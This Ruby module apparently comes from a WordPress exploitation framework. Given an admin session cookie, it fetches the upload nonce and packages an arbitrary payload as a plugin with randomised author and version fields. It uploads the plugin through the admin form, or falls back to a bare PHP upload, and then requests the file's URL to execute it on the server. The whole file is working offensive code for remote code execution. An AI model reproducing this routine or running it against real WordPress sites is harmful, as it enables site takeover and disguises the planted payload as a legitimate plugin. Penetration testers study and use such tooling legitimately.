lib/wpxf/wordpress/plugin.rb
# frozen_string_literal: true
# Provides functionality required to interact with the plugin system.
module Wpxf::WordPress::Plugin
# Retrieve a valid nonce to use for plugin uploads.
# @param cookie [String] a valid admin session cookie.
# @return [String, nil] the nonce, nil on error.
def fetch_plugin_upload_nonce(cookie)
res = execute_get_request(url: wordpress_url_plugin_upload, cookie: cookie)
return nil unless res&.code == 200
res.body[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
end
# Create and upload a plugin that encapsulates the current payload.
# @param name [String] the name of the plugin.
# @param payload_name [String] the name the payload should use on the server.
# @param cookie [String] a valid admin session cookie.
# @return [Boolean] true on success, false on error.
def upload_payload_as_plugin(name, payload_name, cookie)
nonce = fetch_plugin_upload_nonce(cookie)
return false if nonce.nil?
res = _upload_plugin(name, payload_name, cookie, nonce)
res&.code == 200 && res.body !~ /plugin installation failed/i
end
# Upload the payload via the plugin form without packaging it in a ZIP file.
# @param payload_name [String] the name the payload should use on the server.
# @param cookie [String] a valid admin session cookie.
# @return [Boolean] true on success, false on error.
def upload_payload_using_plugin_form(payload_name, cookie)
nonce = fetch_plugin_upload_nonce(cookie)
return false if nonce.nil?
res = _upload_plugin(nil, payload_name, cookie, nonce, false)
res&.code == 200
end
# Upload and execute a payload as a plugin.
# @param plugin_name [String] the name of the plugin.
# @param payload_name [String] the name the payload should use on the server.
# @param cookie [String] a valid admin session cookie.
# @return [HttpResponse, nil] the {Wpxf::Net::HttpResponse} of the request.
def upload_payload_as_plugin_and_execute(plugin_name, payload_name, cookie)
uploaded_as_plugin = upload_payload_as_plugin(plugin_name, payload_name, cookie)
unless uploaded_as_plugin
unless upload_payload_using_plugin_form(payload_name, cookie)
emit_error 'Failed to upload the payload'
return nil
end
end
_execute_payload_uploaded_as_plugin(uploaded_as_plugin ? plugin_name : nil, payload_name)
end
# Generate a valid WordPress plugin header / base file.
# @param plugin_name [String] the name of the plugin.
# @return [String] a PHP script with the appropriate meta data.
def generate_wordpress_plugin_header(plugin_name)
['<?php',
'/**',
"* Plugin Name: #{plugin_name}",
"* Version: #{_generate_wordpress_plugin_version}",
"* Author: #{Wpxf::Utility::Text.rand_alpha(10)}",
"* Author URI: http://#{Wpxf::Utility::Text.rand_alpha(10)}.com",
'* License: GPL2',
'*/',
'?>'].join("\n")
end
private
def _payload_url(plugin_name, payload_name)
if plugin_name.nil?
normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'), "#{payload_name}.php")
else
normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
end
end
def _execute_payload_uploaded_as_plugin(plugin_name, payload_name)
payload_url = _payload_url(plugin_name, payload_name)
emit_info "Executing the payload at #{payload_url}..."
res = execute_get_request(url: payload_url)
has_body = res&.code == 200 && !res.body.strip.empty?
emit_success "Result: #{res.body}" if has_body
res
end
def _generate_wordpress_plugin_version
"#{Wpxf::Utility::Text.rand_numeric(1)}."\
"#{Wpxf::Utility::Text.rand_numeric(1)}."\
"#{Wpxf::Utility::Text.rand_numeric(2)}"
end
# Build the body and return the response of the request.
def _upload_plugin(plugin_name, payload_name, cookie, nonce, create_zip = true)
builder = _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip)
builder.create do |body|
return execute_post_request(
url: wordpress_url_admin_update,
params: { 'action' => 'upload-plugin' },
body: body,
cookie: cookie
)
end
end
# A hash containing the file paths and contents for the ZIP file.
def _plugin_files(plugin_name, payload_name)
plugin_script = generate_wordpress_plugin_header(plugin_name)
{
"#{plugin_name}/#{plugin_name}.php" => plugin_script,
"#{plugin_name}/#{payload_name}.php" => payload.encoded
}
end
# A {BodyBuilder} with the required fields to upload a plugin.
def _plugin_upload_builder(plugin_name, payload_name, nonce, create_zip = true)
builder = Wpxf::Utility::BodyBuilder.new
builder.add_field('_wpnonce', nonce)
builder.add_field('_wp_http_referer', wordpress_url_plugin_upload)
builder.add_field('install-plugin-submit', 'Install Now')
if create_zip
zip_fields = _plugin_files(plugin_name, payload_name)
builder.add_zip_file('pluginzip', zip_fields, "#{plugin_name}.zip")
else
builder.add_file_from_string('pluginzip', payload.encoded, "#{payload_name}.php")
end
builder
end
end